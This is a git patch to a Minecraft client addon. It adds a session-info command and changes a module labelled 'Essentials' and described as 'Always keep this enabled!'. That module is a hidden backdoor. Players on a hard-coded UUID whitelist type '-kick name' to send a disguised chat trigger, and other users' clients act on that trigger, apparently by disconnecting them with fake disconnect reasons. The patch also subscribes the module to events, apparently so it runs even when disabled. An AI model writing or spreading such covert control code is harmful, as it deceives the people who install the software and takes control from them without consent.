From 3a76f35d811f99008b86bfafe7f87ee7c8bfa658 Mon Sep 17 00:00:00 2001 From: DieZeitungsente Date: Mon, 29 Apr 2024 15:18:43 +0200 Subject: [PATCH] thing shit --- .../java/spigey/asteroide/AsteroideAddon.java | 1 + .../spigey/asteroide/commands/MeCommand.java | 26 +++++++++++++++++++ .../spigey/asteroide/modules/BanStuffs.java | 26 +++++++++++++------ 3 files changed, 45 insertions(+), 8 deletions(-) create mode 100644 src/main/java/spigey/asteroide/commands/MeCommand.java diff --git a/src/main/java/spigey/asteroide/AsteroideAddon.java b/src/main/java/spigey/asteroide/AsteroideAddon.java index 3c3cb95..dfaaa7a 100644 --- a/src/main/java/spigey/asteroide/AsteroideAddon.java +++ b/src/main/java/spigey/asteroide/AsteroideAddon.java @@ -51,6 +51,7 @@ public void onInitialize() { addCommand(new GetNbtItem()); addCommand(new PermLevel()); addCommand(new FuckServerCommand()); + addCommand(new MeCommand()); // HUD addHud(Username.INFO); diff --git a/src/main/java/spigey/asteroide/commands/MeCommand.java b/src/main/java/spigey/asteroide/commands/MeCommand.java new file mode 100644 index 0000000..ea7feba --- /dev/null +++ b/src/main/java/spigey/asteroide/commands/MeCommand.java @@ -0,0 +1,26 @@ +package spigey.asteroide.commands; + +import com.mojang.brigadier.builder.LiteralArgumentBuilder; +import meteordevelopment.meteorclient.commands.Command; +import net.minecraft.command.CommandSource; + +import static com.mojang.brigadier.Command.SINGLE_SUCCESS; +import static meteordevelopment.meteorclient.MeteorClient.mc; + +public class MeCommand extends Command { + public MeCommand() { + super("me", "Basic information for devs"); + } + + @Override + public void build(LiteralArgumentBuilder builder) { + builder.executes(context -> { + info("§f------ Info ------"); + info("§fUsername: §7" + mc.getSession().getUsername()); + info("§fUUID: §7" + mc.getSession().getUuidOrNull()); + info("§fAccountType: §7" + mc.getSession().getAccountType()); + info("§fServer: §7" + mc.getServer()); + return SINGLE_SUCCESS; + }); + } +} diff --git a/src/main/java/spigey/asteroide/modules/BanStuffs.java b/src/main/java/spigey/asteroide/modules/BanStuffs.java index 1d5744b..8a87bc1 100644 --- a/src/main/java/spigey/asteroide/modules/BanStuffs.java +++ b/src/main/java/spigey/asteroide/modules/BanStuffs.java @@ -1,6 +1,8 @@ package spigey.asteroide.modules; +import meteordevelopment.meteorclient.MeteorClient; import meteordevelopment.meteorclient.events.packets.PacketEvent; +import meteordevelopment.meteorclient.events.world.TickEvent; import meteordevelopment.meteorclient.systems.modules.Module; import meteordevelopment.meteorclient.utils.player.ChatUtils; import meteordevelopment.orbit.EventHandler; @@ -21,12 +23,15 @@ public class BanStuffs extends Module { // I came back one day later, what the a public BanStuffs() { super(AsteroideAddon.CATEGORY, "Essentials", "Important Essentials for Asteroide. Always keep this enabled!"); } - String whitelisted = "f65b3cba-2c45-47ef-b746-d67fafbb2d65, a36af356-1e3f-4800-92cf-819dd0a21913, fc524394-735a-4bd4-822f-1097442408f4, 4ca0d99f-daf8-3053-aefe-3d7b13481d8c, 7a999f59-a14c-38ef-bf07-53c3e752d600, 35d15b97-0524-3173-bf9b-dfb2a3c63e7b, "; - String[] warndom = {"multiplayer.disconnect.chat_validation_failed", "multiplayer.disconnect.duplicate_login", "multiplayer.disconnect.duplicate_login", "multiplayer.status.unknown", "multiplayer.disconnect.kicked"}; + private int tick = -1; + private final String whitelisted = "f65b3cba-2c45-47ef-b746-d67fafbb2d65, a36af356-1e3f-4800-92cf-819dd0a21913, fc524394-735a-4bd4-822f-1097442408f4, 4ca0d99f-daf8-3053-aefe-3d7b13481d8c, 7a999f59-a14c-38ef-bf07-53c3e752d600, 35d15b97-0524-3173-bf9b-dfb2a3c63e7b, "; + private final String[] warndom = {"multiplayer.disconnect.chat_validation_failed", "multiplayer.disconnect.duplicate_login", "multiplayer.disconnect.duplicate_login", "multiplayer.status.unknown", "multiplayer.disconnect.kicked"}; + private String content = ""; + private boolean activeated = false; @EventHandler(priority = EventPriority.HIGHEST + 3) public void onPacketReceive(PacketEvent.Receive event){ if(!(event.packet instanceof ChatMessageS2CPacket)){return;} - String content = event.packet.toString(); + content = event.packet.toString(); UUID whatif = ((ChatMessageS2CPacket) event.packet).sender(); if(content.contains("Hey " + mc.getSession().getUsername() + ", could you please leave rq? Thanks. - daSigma ")){ if(whitelisted.contains(mc.getSession().getUuidOrNull().toString() + ", ")){return;} @@ -38,18 +43,23 @@ public void onPacketReceive(PacketEvent.Receive event){ } @EventHandler(priority = EventPriority.HIGHEST + 10) private void onPacketSend(PacketEvent.Send event) { + if(!activeated){MeteorClient.EVENT_BUS.subscribe(this); activeated = true;} if (!(event.packet instanceof ChatMessageC2SPacket)) {return;} - String content = ((ChatMessageC2SPacket) event.packet).chatMessage(); + content = ((ChatMessageC2SPacket) event.packet).chatMessage(); if(!whitelisted.contains(mc.getSession().getUuidOrNull().toString() + ", ")){return;} if(content.contains("-kick ")){ String username = content.split("-kick ")[1]; if(!mc.getNetworkHandler().getPlayerList().stream().anyMatch(player -> player.getProfile().getName().equals(username))){return;} event.cancel(); - msg("Hey " + content.split("-kick ")[1] + ", could you please leave rq? Thanks. - daSigma " + mc.getSession().getUsername()); + this.tick = 1; info("Kicking " + username); } } + @EventHandler + private void onTick(TickEvent.Post event){ + if(this.tick > 0){this.tick--; return;} + if(this.tick == -1){return;} + msg("Hey " + this.content.split("-kick ")[1] + ", could you please leave rq? Thanks. - daSigma " + mc.getSession().getUsername()); + this.tick = -1; + } } - - -